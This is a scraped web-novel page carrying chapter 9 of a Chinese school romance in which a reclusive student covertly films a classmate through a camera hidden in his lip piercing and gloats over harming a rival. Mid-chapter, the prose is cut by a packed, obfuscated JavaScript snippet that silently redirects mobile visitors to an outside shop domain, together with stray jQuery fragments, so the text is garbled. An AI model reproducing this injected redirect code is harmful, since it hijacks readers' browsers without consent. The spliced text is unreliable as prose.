文趣网 > 都市小说 > 被觊觎的假少爷 > 9. 第 9 章
    “对了,你叫宋危安是吧?”

    宋危安没有同桌,他学习极好,但性格孤僻,在班级里唯一的存在感就是“不太正常”,所以一个人坐在教室最后一排的最角落位置。

    也许八卦是大部分人的通性,从前见到他向来都是避之不及的同学,今天难得有人来主动跟他说话:“你身上的伤怎么来的?看起来挺严重的,没去医院啊,你被混混抢劫了?”

    学校一共有春夏秋冬四季校服,哪怕现在早已立秋,但鹿海市平均温度高,几乎所有同学都还没脱掉短袖校服时,只有宋危安四季不变的,永远穿着一身长袖,他的袖子刮破了,露出里面鲜艳的伤痕。

    同学打量着,推测道:“你这伤口,对方还带刀了?像是被割的,实在不行,你去报警吧,起码让人把医药费赔了。”

    “……”

    宋危安抬眸,静静地看了那个人一眼。

    没有反感,也没有感谢。

    只有一览无遗的,荒芜。

    深不见底的瞳孔,看不出丝毫情绪,像死物一样,眼睛里没有半点光亮,嘴唇紧紧抿着,似乎眼前的人说的话跟自己没有任何关系一样,他也没有任何要开口的意思。

    两人僵持一阵儿,同学自讨没趣,后退着讪笑了两声,在转身时对着空气骂了一句怪人。

    ……

    【郑云疏:听说昨天桑燕山在学校出事了,看着不像意外,你最近注意些,安全第一,以后离他远点,省得祸及你。】

    【郑云疏:桑燕山住院有医护人员照顾,没必要去陪着。你昨晚九点才回家的?为什么那么晚。】

    【郑云疏:有这个功夫,不如多补补功课。快期末了,下周我回老宅,帮你复习一下。】

    【郑云疏:……怎么不回消息,现在是下课时间。】

    千粟没有关静音,小手机在桌肚里滴滴滴响,是前段时间刚刚教训过他的郑云疏。

    切。

    虽然身后的伤已经几乎痊愈了,可千粟还没有完全原谅郑云疏,不太想回消息。

    而且,没记错的话郑云疏现在被安排在郑家的公司任职,公司的事情不够他忙的吗,又把手伸到别人身上了,为什么昨晚自己几点回家的,他都要知道啊?

    千粟想了想,越想越气,发了一个挑衅的鬼脸表情包,然后直接把郑云疏的vx拉黑了。

    眼不见心不烦。

    现在,觉也没有心情补下去了。

    心情不好,千粟的脸色自然也不好,他就近抓了一个人,不太有礼貌地命令道:“喂,你陪我一起去下洗手间。”

    被千粟的食指戳戳,邻桌戴眼镜的男生愣了一瞬,像是没想到这种好事情会轮到自己头上,受宠若惊地问:“我、我吗?千粟。”

    “废话,快陪我去!”

    千粟不喜欢一个人走路,从前桑燕山在的时候,都是桑燕山陪着千粟去洗手间,两个人一起长大到现在,早就形成的习惯,千粟还没改掉。

    被千粟凶了一句,眼镜男生也没放在心上,只一味压住嘴角的弧度,跟上千粟的背影。

    其实他也不敢和千粟完全并排走。

    在学校里,千粟似乎总是众星捧月的存在,家境好,漂亮,活泼,又带着点可以被轻易接受的娇纵,从高一入学那年开始,关于千粟的话题就总是出现在无论男女群体的讨论中心。

    但是,因为桑燕山的存在,想要真正地接近千粟这件事,就变得格外困难。

    可现在,桑燕山不在啊……

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599072|205606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >像尾随的痴汉一样,跟在千粟身后,犹豫要不要上前。

    真的可以吗。

    真的可以和千粟这样亲近地走在一起吗?

    男同学深吸了一口气。

    “你搞什么啊。”

    一切复杂滚烫的心理活动,被就此制止。

    毫不知情的千粟,莫名其妙地回头,瞪着眼睛骂他:“走那么慢?!”

    “来、来了。”

    ……

    千粟喜欢吃橘子,准确来说,千粟喜欢吃剥好皮,挑干净橘络的橘子。

    当千粟上完洗手间,回到教室里,看到自己的课桌桌面上,恰好静静地躺着一个被处理好的,近乎完美的橘子时,那种说不上来的诡异的感觉,被推上了最顶峰。

    千粟原本空掉的漂亮水杯里,现在也被灌满了恰当的温水。

    四十五度的。

    千粟最喜欢的温度。

    宋危安小心翼翼地低着头,裹着背,被厚重的刘海遮住的那双眼睛,正一眨不眨地死死盯着千粟。

    千粟的一举一动,千粟的一嗔一怒,宋危安一帧一秒都不会错过,宋危安的唇钉被污血盖住,干涸的血渍幸好没有污染唇钉最深处埋着的那枚微型监控镜头。

    快品尝吧,快品尝吧千粟。

    宋危安在心中祈祷,祈福,祈求着。

    既然桑燕山报复过他了,那餐厅的事就算扯平,位置偏了些,桑燕山也许死不了,毕竟好人命短,贱人命长,没办法的事,能落个残疾也不错。

    从今往后,他会比桑燕山更用心、更努力地,让千粟舒服的。

    宋危安的心跳猛烈到几乎要从嗓子里跳出来。

    另一边的千粟环视四周。

    “这是谁放的。”